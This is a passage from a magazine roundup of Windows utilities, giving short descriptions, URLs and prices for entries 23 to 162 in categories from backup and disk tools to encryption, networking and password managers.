The slickest version of this disk-backup tool to date comes with several advanced features, such as the ability to back up system states (similar to Windows System Restore function) and lets you keep disk changes for a brief period without storing them directly to your system, so you can try out programs without going through a lengthy uninstall process if you decide not to keep them. Read our full review.

23. Carbonite
Carbonite.com $54.95 per year for unlimited space
Carbonite monitors important files and backs them up online for future restoration, should you need it. It also provides remote file access from any computer.

24. Cucku Backup
www.cucku.com Free
Why back up to extra storage or online when you can stash files with friends? This social-backup tool sends encrypted files to storage you share on your buddies’ PCs using Skype’s file transfer abilities (without Skype, Cucku handles only local storage). You, of course, should share back.

25. DirSync Pro
directorysync.sourceforge.net Free
It’s probably obvious that DirSync Pro is short for Directory Synchronize Pro, and that should give you an idea of what the app does. This utility can sync content from one folder to another, say from a hard drive to a USB drive; it’s open source and written in Java, so it runs on all OSs, including Windows, Linux, and Mac.

26. Drive Backup 9.0 Personal
www.paragon-software.com/home/db-personal/ Free 30-day trial, then $39.95
Back up an entire hard drive, or, in this latest version, just select files (like music or documents) and, for recovery from catastrophe, boot from a USB flash drive. Use Drive Backup to restore your XP or Vista setup on an entirely different PC or in a virtual machine.

27. DriveImage XML
www.runtime.org/driveimage-xml.htm Free
DriveImage XML will create a disk image even while the PC is in use (using Microsoft’s Volume Shadow Services feature). Later you can restore a drive entirely, or browse that image to retrieve select files.

28. DriverMax
www.innovative-sol.com/drivermax Free
Use it to back up hardware drivers, then restore them after a fresh nuke-and-reinstall of Windows. DriverMax will even check for driver updates.

29. Driver Backup! 2
sourceforge.net/projects/drvback/ Free
This alternative to DriverMax performs a similar function (backing up all the drivers for your peripherals), but it’s small and portable. Throw it on a USB flash drive; it doesn’t need full installation.

30. Dropbox
www.getdropbox.com Free for up to 2GB; Pro plan, $9.99 per month or $99 per year for 50GB
The darling of the world of online sync is Dropbox: Put all your files in the My Dropbox folder and they’re immediately stored online; set up the software on other computers (even Macs and Linux PCs) and the files synchronize whenever changed. Read the full review.

31. Fling
www.nchsoftware.com/fling/ Free
Create “fling folders” on your PC and the software will keep them synced between computers, or your computer and a Web site using FTP. Updates happen continuously, whenever a change is detected.

32. HDHacker
dimio.altervista.org/eng/ Free
On start-up, your PC looks for the master boot record (MBR), typically the first sector in the first partition of the disk. The MBR reads the partition table that tells your PC where the OS is—it’s essential to booting properly, in other words. Make sure your PC’s MBR is backed up so the PC is always bootable. HDHacker will back up and restore the MBR instantly when you’re in Windows.

33. KLS Mail Backup
www.kls-soft.com/klsmailbackup/ Free
You’ve got a lot of important e-mail within Windows Mail/Outlook Express, Thunderbird, Outlook, SeaMonkey, or even Windows Live Mail, right? KLS will back up and restore the messages. It’ll also back up user profiles and bookmarks from IE and Firefox.

34. MozyHome
mozy.com/home Free for 2GB; $4.95per month for unlimited space
MozyHome runs in the background, monitoring folders you specify, and when all is idle, it backs up those files to the cloud.

35. OffiSync
offisync.com Free
If you’re a big user of Google Docs and Apps but can’t get away from Microsoft Office (or vice versa), OffiSync combines both worlds. Manage and open all your Google Docs files from Office apps, and store all new Office documents online so you can access them anywhere with Google Docs.

36. PING (Partimage Is Not Ghost)
ping.windowsdream.com Free
Burn this distro to a CD and boot any computer into Linux, where you can make a complete image of the existing hard drive setup, including BIOS data. Since PING recognizes most network cards, you can even write the image to a network drive, not just to a DVD.

37. SaveAllAttachments
www.netpro.biz/saveallattachmentsol2007.html Free
This add-on for Microsoft Outlook 2007 adds a button to do exactly that—save all your e-mail attachments from all your e-mails, all at once. This frees up space in your Outlook PST file.

38. Single Click Restore Point
tec-updates.blogspot.com/2008/01/download-single-click-restore-point.html Free
System Restore can put a Windows PC back to rights, but the feature works only if you have a restore point worth using, and making them can be a hassle, especially in XP. This utility (also for Vista and Windows 7) handles that with aplomb, because that’s all it does. And did we mention that it’s portable?

39. SyncToy 2.0
www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=c26efa36-98e0-4ee9-a7c5-98d0592d8c52 Free
A Windows XP PowerToy that also works fine with Vista, SyncToy does a good job of making sure folders on your system are synchronized with their counterparts on external drives or network-attached storage.

40. SyncBackSE
www.2brightsparks.com $30
A perennial fave, SyncBackSE is the midrange utility in 2BrightSparks’ line of backup tools, complete with file versioning, smart two-way sync between folders, auto-start at log-in, and more. If you want even more features, like backup to single or multiple CDs or DVDs, the Pro version is $49.95. Or try the very popular PCMag.com utility InstaBack, an easy-to-use, always-on tool for continuous backup coverage.

41. Windows Live Sync
Sync.live.com Free
The tool formerly known as FolderShare is now part of Windows Live, but it still does a masterful job of synchronizing files in multiple folders across multiple computers (including—gasp!—Macs).

Compression

42. PortableApps.com AppCompactor
portableapps.com/apps/utilities/appcompactor Free
If you like running apps from a USB flash drive, but your drive doesn’t have lots of room, turn to the AppCompactor. This program will compress apps as much as possible (how much varies depending on the app) to fit your drive and still function.

43. 7-Zip
7-zip.org Free
Compress files in ZIP or 7z format (and get AES-256 encryption), and get support to compact or unpack formats from CAB to RAR.

44. SecureZIP Desktop
ww.pkware.com $39.95
This PCMag.com Editors’ Choice is all about the ZIP format, because it’s from the creators of the ZIP format. It does everything an archive manager should, such as integrating with MS Office and Outlook.

Disk Utilities

45. Defraggler
http://www.defraggler.com Free
Why defragment an entire drive? Defraggler is one of the few tools that allow drag-and-drop of individual files or folders for defrag work. It’s free for home or business.

46. CrystalDiskInfo
crystalmark.info/software/CrystalDiskInfo/manual-en Free
Learn everything there is to know about the hard drive(s) in your PC with this utility. It supports the Self-Monitoring, Analysis, and Reporting Technology (S.M.A.R.T.) found in most contemporary storage devices.

47. Easeus Partition Master Home Edition
www.partition-tool.com/personal.htm Free for home use
Resize, copy, or create new disk partitions from within Windows (2000 up to Vista, 32-bit only with Home Edition). It can convert existing partitions from FAT to NFTS on drives up to 1.5 terabytes in size.

48. FileAlyzer
www.safer-networking.org/en/filealyzer/ Free
Learn just about every property of files on your system when FileAlyzer analyzes them. Seriously, it’s a lot of info.

49. GParted-LiveCD
gparted.sourceforge.net Free
GParted is technically a Linux distro. When launched it has one goal even on Windows systems: to provide full access to hard drive partitions, letting you resize and adjust them as you see fit using a graphical interface.

50. Partition Manager 10 Personal
www.paragon-software.com/home/pm-personal/ $39.95
Windows 7 and 64-bit OSs are ready to get their drives partitioned, resized, and optimized with Paragon Software’s utility. It even defrags.

Displays

51. DisplayFusion
www.binaryfortress.com Free
Give each of your multiple monitors its own Windows taskbar or wallpaper, span one long wallpaper across displays, move windows to new screens with a single click, and get better overall management of your program windows via hotkeys. DisplayFusion is ready to work with Windows 7.

52. DeskHedron
tokyodownstairs.blogspot.com/2008/10/deskhedron.html Free
Virtual desktops let you set up several distinct desktops on one monitor, so several apps can run simultaneously but you’re presented with only one piece of software at a time. DeskHedron provides up to nine desktops, with fancy 3D animation when you switch between them.

53. Edgeless
www.fxc.btinternet.co.uk/assistive.htm Free
Why let the cursor stop at the edge of your display? Edgeless lets it wrap from one side to the other, even when using multiple monitors.

54. Fences
http://www.stardock.com/products/fences/ Free
Easily unclutter your desktop shortcuts and icons with Fences. It groups the items on your desktop into transparent containers you can hide or unhide at will. Works with Windows 7, too.

55. MaxTo
www.maxto.net Free
On a big monitor with a lot of screen real estate, it doesn’t make sense to run every application full-screen. MaxTo segments a display into regions for easily tiling windows as you see fit. It works with Windows 7.

56. MaxiVista
www.maxivista.com Free 14-day trial, then $29.95
Turn your laptop (or any second computer with a monitor) into a second monitor for your main system. What you’re really doing is controlling as many as four computers on your network using one keyboard and one mouse, to extend your primary computer’s desktop space. (Issues with Vista and Windows 7 are still being worked out, but it works fine with XP.)

57. Pitaschio
pitaschio.ara3.net Free
Take control of how windows in Windows work. Make sure edges snap together rather than overlap, ‘prevent windows from extending beyond the screen, disable special keys like Insert or the Windows key, and more.

58. PowerResizer
sourceforge.net/project/platformdownload.php?group_id=258095 Free
Dock windows to the edges of the screen and when you resize them with PowerResizer, they stay docked. If you put the windows side by side or atop each other, dragging one to resize will also resize the other so they never overlap.

59. Switcher
insentient.net Free
Exposé on the Mac instantly shows you the desktop, or all your open windows in various views, when you invoke a keystroke combo. Switcher brings that same function to Windows, and it works with a multi-monitor setup. The utility runs only on Vista, however.

60. ThetaWall
www.info-svc.com/software/thetawall/ Free
ThetaWall does more than just change the desktop wallpaper at prescheduled times; it also works with dual monitors and includes a screensaver.

61. UltraMon
www.realtimesoft.com/ultramon $39.95
UltraMon is all about multiple monitors; it adds icons to title bars to make moving windows from one screen to another faster (no dragging), creates shortcuts that open programs on the monitor you prefer, and puts separate wallpaper images or screensavers on each display. And there are even more tools to handle all that real estate.

62. VirtuaWin
virtuawin.sourceforge.net Free
Add up to nine virtual desktops to your system, on computers running Windows 98 all the way up to Vista. Access the other desktops via an icon in the system tray

63. WinSplit Revolution
winsplit-revolution.com Free
Split your big screen into multiple smaller “monitors.” Drag program windows around with the mouse while holding Ctrl-Alt to bring up a shaded area—that’s the grid section that the window will snap to when released. If there are multiple targets, pick one with the mouse scroll wheel.

64. WindowsPager
windowspager.sourceforge.net Free
Give Windows an Ubuntu-esque virtual desktop manager. This portable app integrates with the Windows taskbar to provide 4 instant virtual screens, but you can go up to 12. Right-click any open window’s title bar to send it to the virtual screen of your choice.

DVD/CD

65. ImgBurn
www.imgburn.com Free
A disc-authoring tool for CDs or DVDs, ImgBurn can create and write ISO files—the kind you’ll find with Linux distros and other big downloads that run from a disc.

66. CDBurnerXP
cdburnerxp.se
This software works with Windows Vista and 7, not just XP despite the name, to burn CDs, DVDs, Blu-ray discs, even HD DVDs if you’ve got hardware for that format.

67. DivFix++
divfixpp.sourceforge.net Free
Sometimes you download a big AVI file, typically in the DivX codec, and when you try to play it back—nothing. Or you get a few seconds of viewing, then—nothing (that’s worse). DivFix++ rebuilds files so they’ll play back properly.

68. DVDSmith Movie Backup
www.dvdsmith.com Free
Believe it or not, it is legal to back up a DVD you own. The sharing part is where the legality grows fuzzy. Any DVD Cloner will make an exact disc duplicate, but DVDSmith is all about copying files to your hard drive, stripped of copy protections that might make them impossible to view on the computer.

69. InfraRecorder
infrarecorder.org Free
Open-source InfraRecorder can record anything you want to a CD or DVD, make a disc image of the same to share, or burn disc images to CD or DVD, of course.

70. Express Burn
www.nch.com.au/burn/ Free; Plus version, $38.20
Express Burn will create CDs—and, with the Plus version, DVDs and Blu-ray discs—chock-full of your favorite audio and video for playback, converting files as needed. Works with Windows 7.

71. Nero 9
www.nero.com/enu/store-nero9.html $79
PCMag’s pick for all-around disc-creation suite isn’t cheap, but Nero 9 builds in just about every feature you’ll find among individual titles, including Blu-ray authoring, disk image burning, and a lot more. Read the full review.

Encryption

72. My Lockbox
www.fspro.net/my-lockbox/ Free
This utility locks down or hides a special folder, not just from snoops on the same PC (even those with admin privileges) but also from any kind of remote access, all with a single password to protect every one of your settings.

73. Cypherix LE
www.cypherix.com/hide_files_and_folders.html Free; pro edition, $45
Make a virtual drive (called a vault) on your hard drive that holds up to 25MB of data with 128-bit encryption, even on a mobile unit like a USB flash drive. If you buy the Cypherix PE pro edition, the vaults increase to 25GB in size.

74. File & Folder Unlocker
www.diamondcs.com.au/freeutilities/fileunlocker.php Free
A locked file on Windows isn’t encrypted, but it can be a pain to work with. Unlocker will change a file from locked to unlocked–by finding the process or app holding it open, resetting the file’s attributes, changing permissions, and more—so you can manipulate it again without getting errors.

75. FreeOTFE
www.freeotfe.org Free
OTFE stands for “on-the-fly encryption” and that’s just what FreeOTFE does, creating a virtual disk where copied files are instantly encrypted and stored. It’s portable and works on thumb drives, and FreeOTFE has its own Explorer to access encrypted files without installing software.

76. Rohos Mini Drive
www.rohos.com/products/rohos-mini-drive/ Free
Make a hidden partition on a USB flash drive that only you (or someone else with the right password) can access. It’s not limited to portable drives, but that’s where it shines. Rohos has to be installed for the hidden partition to be made visible, but a mini executable can be used on other people’s PCs.

77. TrueCrypt
www.truecrypt.org Free
A granddaddy in disk-encryption software, TrueCrypt will encode an entire drive—even a thumb drive—for security in real time. Wizard software provides help with decisions like how big the virtual drive should be (just one file or the whole hard disk).

78. CryptArchiver Lite
www.winencrypt.com/products/winencrypt-cryptarchiver-lite.htm Free; standard edition CryptArchiver
Drag and drop files onto the encrypted virtual drive and they become inaccessible without a password. CryptArchiver Lite uses 128-bit Blowfish encryption; the standard version adds strong 448-bit Blowfish and AES encryption.

Erase and Delete

79. Cyber-D’s Autodelete
cyber-d.blogspot.com/2005/10/cyber-ds-auto-delete-101.html Free
Set time limits for folders on your drive and Autodelete will, uh, automatically delete files that are too old. Great for getting rid of older backup archives taking up space.

80. Darik’s Boot And Nuke
www.dban.org Free
Download DBAN, write the software to a bootable CD, and then use the disc to erase the contents of a hard drive completely and utterly. After that, those files will never come back.

81. DeleteOnClick
www.2brightsparks.com/onclick/doc.html Free
Rather than send a file to the recycle bin for “deletion”—where it can potentially be recovered—this utility securely deletes the space the file took up, making it impossible to get back.

82. DoubleKiller
www.bigbangenterprises.de/en/doublekiller Free; Pro edition, $19.95
Remove duplicate files across your local and network drives, including pictures and music. DoubleKiller compares size, name, date, and content to see what files may be a bit too similar. Pro version supports multiple languages and can search on extra criteria. Or try the trusty PCMag.com utility Dupeless, which scans your disks and shows all the duplicate files it can find, then deletes, moves, or even ZIPs up the results.

File Transfer

83. TeraCopy
www.codesector.com/teracopy.php Free; Pro edition, $19.95
Windows copies files from place to place just fine, but if you want copying to go faster and wouldn’t mind some neat extras—like pausing and resuming—TeraCopy is what you need.

84. FilePhile
www.filephile.net Free
If you and your friends or coworkers on any platform (even Linux) set up accounts and download the FilePhile software, you can send data back and forth with no limit to file size or quantity.

85. FileZilla
www.filezilla-project.org Free
FileZilla is a fully loaded but absolutely gratis File Transfer Protocol (FTP) client, as professional as they come (though, despite the name, it doesn’t come from the Mozilla folks).

86. NetDrive
www.netdrive.net Free; $29 for commercial use
You don’t need an FTP client. NetDrive maps an FTP or WebDAV server to a drive letter on your PC, so you can swiftly drag and drop files from Windows as needed.

87. Rightload
rightload.org Free
Add your server information to Rightload and, with a quick right click, it will instantly upload files to the site. It works with FTP and HTTP transfers, as well as services like Facebook and Flickr.

88. µTorrent
www.utorrent.com Free
A fave among BitTorrent users, µTorrent handles torrent downloads and uploads quickly and cleanly; the support for RSS feeds makes grabbing files almost automatic.

Images

89. Fotosizer
www.fotosizer.com Free
Three steps are all it takes: Pick a bunch of digital photos, select resize settings, and let it rip. All the images are reduced, replacing the original images or duplicating the source, as specified.

90. EXIF Date Changer
www.relliksoftware.com/pages/products/exif-date-changer.php Free
Photos taken with digital cameras get a time stamp, but if the camera’s clock is off, your photo might say it was taken years ago. This utility can adjust the EXIF time stamp on digital images to the second, and does so by the batch.

91. IrfanView
www.irfanview.com Free
A compact classic dating back to 1996, IrfanView can view any kind of image thrown at it (some video and audio too), plus convert and edit it.

92. JPEGsnoop
impulseadventure.com/photo/jpeg-snoop.html Free
Wondering if that beautiful-looking JPG file you’re viewing is an original right off the digital camera? JPEGsnoop looks at the metadata inside to see if the file has been modified, and if so how it’s changed.

93. JPEG & PNG Stripper
www.steelbytes.com/?mid=30 Free
A lot of data other than the image itself can be stored in JPEG and PNG files. This tiny program strips that data out, leaving the picture itself intact and unaffected.

94. RIOT
luci.criosweb.ro/riot/ Free
Radical Image Optimization Tool (RIOT) reduces image size—not the dimensions, but the actual file size. Smaller GIFs, JPGs, and PNGs on Web pages mean faster load times. RIOT will display old and new side by side for comparison.It’s also an IrfanView plug-in.

Media Tools

95. Quick Media Converter
www.cocoonsoftware.com/#us Free
QMC will convert media files in one format to just about any format you can imagine, including some for playback on iPhone, PlayStation Portable, and Zune.

96. Clone2Go Free Video Converter
www.clone2go.com/products/freevideo.php Free
Bulk-convert video files from one format to another, including WMV, FLV, MPEG-4, AVI, and more. Perfect for making a big downloaded or ripped video ready to run on a handheld player or phone.

97. Direct MP3 Joiner and Direct WAV MP3 Splitter
www.pistonsoft.com Free
If you’ve got audio in WAV or MP3 format that you want to split into multiple files, or lots of MP3s you want to combine into one big MP3 (great for ripped audiobooks), this line of products comes to the rescue. The separate Direct Audio Converter and CD Ripper can rip the audio off your disks in the first place.

98. HandBrake
handbrake.fr Free
This ultra-popular, multi-platform, open-source media converter rips and encodes video from DVDs—or just about any video source—to other formats like MPEG-4 or H.264. It converts audio, too.

99. iExporter
iexporter.codeplex.com Free
You’ve got more playlists in iTunes than can be believed… but how do you easily move them to a new computer? iExporter backs up playlists and MP3s to load on your second PC. (It grabs only the MP3s, though, not the DRM-filled AAC files.)

100. iTunes Sync
www.binaryfortress.com/itunes-sync/ Free
Sync your playlists in iTunes, both dynamic and static, to any MP3 player—not just iPods and iPhones. In fact, the utility can support multiple MP3 players.

101. iTunes Toolkit
www.xintercept.com/ittk/ittk.html Free
This iTunes add-on makes adding and deleting tracks easier. It even traces dead tracks (those files iTunes can’t find on your hard drive); a future version of the app promises to help fix ’em too.

102. MediaCoder
mediacoder.sourceforge.net Free
This is a batch media transcoder for converting video and audio files into different formats. The key word is batch: Let it run on multiple files while you wait.

103. SolveigMM AVI Trimmer
www.solveigmm.com/?Products&id=AVITrimmer Free
If you’ve got an AVI file of any size that you want to trim down to something manageable—perhaps to make that next viral YouTube clip—this utility cuts out what you don’t want. (Other formats? Try the $40 SolveigMM Video Splitter instead).

Networking

104. TCP Optimizer
www.speedguide.net/downloads.php Free
Even if you don’t know MTU from QoS (check our Encyclopedia for definitions), you can still optimize the speed of your broadband Internet connection. SpeedGuide.net’s TCP Optimizer has an interface that’s easy enough even for newbies; just don’t tweak anything you’re not sure about.

105. Application Access Server
www.klinzmann.name/a-a-s/index_en.html Free
Install Application Access Server on your home computer and you’ll be able to use any Web browser to remotely start (or kill) applications. It uses DynDNS so you can make an easy-to-recall name for your home computer.

106. Comodo EasyVPN
easy-vpn.comodo.com Free for personal use
Secure the connection between you and other computers with this virtual private network that’s a snap to install and set up.

107. CrossLoop
www.crossloop.com Free
Put CrossLoop on the computer you use and the remote computer you want to control (even on a Mac). Sign up for an account, input the access code, and you’ll soon be sharing screens remotely.

108. GoToMyPC
www.gotomypc.com $19.95 per month to access one PC, $29.95 per month to access two PCs
We all know this one: GoToMyPC makes connecting to a PC remotely almost as easy as using it live. Download the free trial to access one PC for 30 days.

109. Leaf for Windows
www.leafnetworks.net Free
Get ready for peer-to-peer network sharing, to stay connected to your network on the road (even through Facebook), share data with friends, or even set up Xbox and Xbox 360 consoles for head-to-head games. Leaf’s client is free for Windows, and coming soon to Linux.

110. LogMeIn Hamachi
secure.logmein.com/products/hamachi/vpn.asp Free; commercial license, $4.95 per month per PC
With LogMeln Hamachi, you can put multiple remote computers on a virtual private network (VPN) so that they all appear to be in the same building—perfect for remotely sharing files. With the free version, a user can join 256 Hamachi networks, each of them able to handle 16 users; networks can handle 50 users if they are registered with the Pro version.

111. TeamViewer
www.teamviewer.com Free for non-commercial use
Control any Windows or Mac PC on the Internet, even through firewalls—great for remote support. The remote system needs to run only a tiny executable.

Organization

112. ActiveHotKeys
www.donationcoder.com/Forums/bb/index.php
?topic=18189.msg162881
Free (donationware)
If you’re ready to embrace the world of keyboard shortcuts (hotkeys) to get more work done, you’ll want to know what keystroke combos are available to put to use. This utility gives you a list.

113. Advanced Renamer
aren.hulubulu.net Free
There are eight different ways to create batch-renaming jobs for your files with Advanced Renamer, including changes to the file’s attributes and timestamp; it also supports ID3 functions to work with MP3 audio files. Or try the PCMag.com File Utility Pack, which wraps three handy utilities (batch renamer MultiRen, list creator FileGrab, and attribute modifier FileTouch) into one easy download.

114. Ant Renamer
www.antp.be/software/renamer Free (donationware)
Windows’ ability to rename files in a batch is pathetic at best, but programs like Ant Renamer take away some of the pain. Drag in files to rename, pick options for the file name and extension, and preview before the changes take effect

115. AutoHotkey
www.autohotkey.com Free
Set up macros to automate everything you can imagine doing in Windows, using preset keystroke combos and mouse clicks, or just about any input button. Read the full review.

116. AutoIt
www.autoitscript.com/autoit3/downloads.shtml Free
Macros of otherwise complicated step-by-step procedures are not limited to Microsoft Office. AutoIt will record your actions and play them back on your schedule—or when you click an icon.

117. CubicExplorer
www.cubicreality.com/ce/ Free
Portable and relatively uncomplicated for a file viewer and Windows Explorer replacement, Cubic supports tabs for multiple browsing sessions to take place at once.

118. Free Commander
www.freecommander.com Free
Get dual panes of data (side by side or stacked) with this Windows Explorer replacement, plus features like FTP, tabs, file renaming tools, and compressed archive support.

119. Gladinet
www.gladinet.com Free (for now)
Get access to your online files—such as those in Google Docs or Windows Live Skydrive—as if they’re stored locally. Gladinet mounts the services like network drives that are accessed from Windows Explorer.

120. Keyboard Tweaker
stud.usv.ro/~alexbu/target.php?target=keyboard Free
How much of your keyboard do you really put to use? With this app running in your system tray, you can do more, by assigning tasks and functions to any number of keys and keystroke combos.

121. Portable Snowbird
lmadhavan.com/software/snowbird/ Free
Snowbird is built for speed as well as portability (run it from a USB flash drive on any Windows system). The main window of this Windows Explorer replacement has the typical tree on the left, breadcrumbs at top, and a list of recently visited files—but what it lacks in features it makes up for in performance.

122. xplorer²
zabkat.com/x2lite.htm Free; professional version, $29.95
Two panes of files listings, plus a folder tree to the side? Tabs? FTP access? That’s just the beginning with this longtime favorite Windows Explorer replacement. The free version comes also in a portable edition. The pro version adds such individual folder settings, “hyperfilters,” scrap containers, duplicate cleanup, and more.

Password Security

123. Empathy
migeel.sk/projects/empathy/ Free (postcardware)
You use a password to access many Web sites. Why not on programs? Empathy can prevent anyone from launching Word, an IM client, e-mail software, or any other executable without the right password. Unlock every function by snail-mailing a postcard to the developer —who’s in Slovakia.

124. Keeper Desktop
www.callpod.com/products/keeper_desktop $14.95
Compatible with Windows or Mac, Keeper promises military-grade encryption of passwords, log-in info, and other notes, and it syncs via Wi-Fi with smartphones (like the iPhone) running Keeper Mobile. Five incorrect password entries can initiate a self-destruct of your saved data.

125. KeePass Password Safe
keepass.info Free
Store the passwords for your network log-on, FTP sites, e-mail, and (naturally) all those Web-based services. All are stored in a master database locked with a master password.

126. LastPass
www.lastpass.com Free; $1 a month to avoid ads
Store your passwords and other data for filling in Web forms offline; PCMag.com Editors’ Choice winner LastPass requires you to know only one password but enters many others in various sites and services. Read the full review.

127. MessenPass
www.nirsoft.net/utils/mspass.html Free
Forgot the password that automatically logs you in to your favorite instant-messaging application? This software can extract it from AIM, Digsby, Google Talk, ICQ, MSN/Windows Live, MySpace, Trillian, Yahoo, and other software.

128. Password Safe
www.password-safe.net Free or $4.95
Ready for Windows 7, Password Safe uses 256-bit encryption to store passwords, credit card info, bank codes, and more safely. It comes in a portable version, perfect to take on the road with a USB drive.

129. RoboForm
www.roboform.com Free; Pro version, $29.95
The Editors’ Choice here at PCMag.com, RoboForm does it all. It saves passwords, fills in Web forms, logs you in to Web sites, encrypts everything it stores, syncs passwords with smartphones, works well with IE and Firefox—and that’s just the start. The Pro version offers unlimited passwords, user IDs, and other data sets. Or try the PCMag.com utility Password Profiler, a similar program for filling in forms and automatically logging you in to sites.

Recover and Restore

130. Recuva
www.recuva.com Free (donationware)
Pronounced “recover” (what accent are they using?), Recuva has one goal: to bring back files you accidentally trashed (or that were trashed by crashes and other errors), using a simple-to-grasp interface.

131. AntiFreeze
www.resplendence.com/antifreeze Free
We all know the Ctrl-Alt-Delete salute to get out of a borked computer (or get to the running processes list and kill an offending program), but AntiFreeze may offer a better way. It waits in the background for trouble, and when called displays all running processes, suspending most without killing them until necessary.

132. File Alert Monitor
www.libertyrecording.com/FAM_main.htm Free
Get a red alert whenever a file or folder of your choice gets changed or deleted (or a new file/folder is created). Warnings come as a pop-up alert or audio.

133. GoneIn60s
www.donationcoder.com/Software/Skrommel/index.html#GoneIn60s Free (donationware)
If you closed an application within the last minute, you can open it up again without losing anything (by right-clicking the icon in the system tray)—but only if your PC is already running GoneIn60s.

134. SystemRescueCD
www.sysresccd.org Free
Another Linux distro to put on a CD and boot from, this one recovers data after a system crash. It can also partition drives and has a host of system tools for advanced users.

135. Smart Installer Pack
www.smartinstallerpack.com Free
This one utility will install up to 24 of the most frequently installed software tools on a new Windows system, all at once. That includes OpenOffice, Adobe Reader, QuickTime, Adobe Flash Player, Skype, WinAmp, Gimp, Thunderbird, Firefox, Google Chrome, Picasa, and more.

136. TestDisk
www.cgsecurity.org/wiki/TestDisk Free
Fix bad or lost partition tables with TestDisk, to make once-bootable disks bootable all over again. If nothing else, it collects disk info you can send to experts who may be able to help.

137. Undelete Plus
www.undelete-plus.com Free trial, then $29.95 per year
No matter the volume type (FAT12 on up to NTFS5), Undelete Plus promises to restore files you’ve junked but want back. Great filtering makes it easy to find one file among the many you’ve deleted.

Screen Capture

138. Jing
www.jingproject.com Free
You can do more than take a picture of your screen and annotate it with Jing. The utility will also record video of actions you take on the computer. For Jing, it’s all social networking to show people how to do stuff on the PC, so the software integrates quick ways to share your captures via IM, e-mail, or on a blog.

139. FastStone Capture
www.faststone.org/FSCaptureDetail.htm $19.95
Capture and annotate whatever is on your screen with this little toolbar, then send it to a file, printer, e-mail, Web site via FTP, or another application (like Word or PowerPoint).

140. Greenshot
greenshot.sourceforge.net Free
Open-source screen grabber Greenshot isn’t particularly green, actually, but it is small (the installer is less than 400K) and includes an image editor for adjusting or annotating captures.

141. Screen Capturer
www.extensoft.com/?p=free_screen_capturer Free
Put that PrtScn key to use. Screen Capturer uses it to activate and make images you can save to the clipboard or in BMP, JPG, GIF, PNG, or TIFF formats. It will even capture animation of your screen in action in WMV format.

142. SiteShoter
www.nirsoft.net/utils/web_site_screenshot.html Free
Good in any version of Windows from XP to 7, SiteShoter works with IE to take grabs of entire Web pages, even the areas that aren’t visible on-screen.

143. Snagit
www.techsmith.com 30-day free trial, then $49.95
TechSmith has upped the price of Snagit by $10 this year, but the new version of this perennial PCMag favorite is worth it. Version 9 of this screen-capturing tool is completely rewritten and includes new features like a live preview, a mini-toolbar (like the one for formatting selections in Word 2007), and software stamps you can slap into captured images.

144. ZScreen
www.brandonz.net/projects/zscreen/ Free
Open-source ZScreen will give you many options, like taking pics of a single window, a small selection, or the full screen; it can upload images directly to a Web site or send them to your image editor; and customized naming lets you append time, date, and more to the final file.

Search

145. SearchMyFiles
www.nirsoft.net/utils/search_my_files.html Free
Rather than use the anemic search interface built into Windows, use SearchMyFiles to access all the search extras—wild cards, file sizes, date ranges, attributes, and more—on one screen.

146. Copernic Desktop Search
www.copernic.com Free; Professional version, $49.99
An old hand at indexing and searching your files, Copernic continues to look inside 150 different types of files so you can search their contents. Now you can search the Web via the same interface, and even make Copernic a default Web search engine.

147. Everything
www.voidtools.com Free
For NTFS drives only, this program promises to search, well, Everything, and fast. Really fast. It’s for NTFS format only because it uses the drivers for the hard drive to create its index. Also comes in a portable version, and will work with Windows 7.

148. Google Desktop
desktop.google.com Free
Integrate your Web searches with your hard disk searches, throw in a gadget engine for the thousands of widgets available for iGoogle, and you’ve got a four-star product. Read the full review.

149. Index Your Files
www.indexyourfiles.com Free
Use this portable software to make compact indexes of everything on your hard drives, both local and networked, for fast searches.

150. Locate32
www.locate32.net Free
If Unix is where you’re comfy, but you’re stuck with Windows, maybe Locate32 will make you feel at home. It databases info about Windows files and folders (just like Unix’s updatedb and locate commands), which makes for fast searches once you’ve indexed the system.

Settings

151. Ultimate Windows Tweaker
www.winvistaclub.com/uwtf.html Free
Ready to tweak Windows 7? So is Ultimate Windows Tweaker, building on the vast array of what it can do for Vista and the IE Web browser.

152. Device Remover
www.pro-it-education.de/software/deviceremover/ Free
Replace the lackluster Windows device manager with Device Remover and you’ll get a whole new feeling of power over the hardware on your computer. See an in-depth list of all installed devices and drivers—which you can remove en masse, at will. So be careful. Works with Windows 7.

153. Game Booster
www.iobit.com/gamebooster.html Free
Get more out of your game by making it the most important thing on your computer. Game Booster will do that by shutting down unnecessary stuff in the background, cleaning up leaky RAM, and giving it processor priority. Works with Windows 7.

154. nLite / vLite
www.nliteos.com and www.vlite.net Free
Want to customize the installation of Windows options before you even install the operating system? nLite helps you do that with XP, and vLite does it for Vista. Each makes a bootable disk image for future installations, minus the extras—such as Windows Media Player and MSN Explorer—that you don’t want.

155. Photoshop Speedup
www.acropdf.com Free
Some applications are just so powerful that it’s their nature to run sloooow. Photoshop is such a beast. This speed-up app allows you to disable unnecessary plug-ins, presets, and fonts that may bog it down. It also optimizes memory used by Photoshop. (Check out PDF Speedup to make Adobe Acrobat zing along.)

156. TweakVI
www.totalidea.com Free; Premium edition (for one year of updates), $36.99
Anything and everything you can imagine tweaking and futzing with in Windows Vista—typically in the Registry—is easily accessible via the TweakVI interface. (Total Idea Software also offers Tweak-XP and a public beta of Tweak-7.) Plug-ins let you add even more tweaks. Take a snapshot of settings to run the same tweaks on other systems.

157. Startup Cop
go.pcmag.com/startupcop
The first version of Startup Cop was a hit a decade ago; it’s still our most popular program to date, having become the de facto standard in Windows start-up management (if we do say so ourselves). It lets you find out what programs are launching at system boot, and where they reside, then lets you disable or delay those you don’t want to start at boot-up.

158. XdN Tweaker
xenomorph.net/xdntweaker/ Free
It doesn’t offer as many tweaks as the paid tools, but XdN Tweaker makes up for that with a price that can’t be beat. It requires Windows .NET to run on XP; .NET is a given with Vista and Windows 7, both of which XdN supports.

Start-Up

159. Edison
www.verdiem.com/edison.aspx Free
A truly green utility? Edison helps you adjust the power settings and schemes for XP SP2 and Vista so that your hard drive, monitors, and CPU all power down after a certain amount of inactivity. It will also calculate how much you’ll save, in money and energy.

160. BootRacer
www.greatis.com/bootracer/ Free
It’s the comparison we all make: Who boots faster? BootRacer will tell you the time it takes to reboot a Windows PC.

161. Flash Drive Reminder
www.bgreco.net/reminder.php Free
Don’t leave your USB flash drive behind. This utility will pop up a warning if the drive is still attached to a system you’re shutting down or logging out of.

162. Marxio Timer
www.marxio-tools.net/en/marxio-timer.htm Free
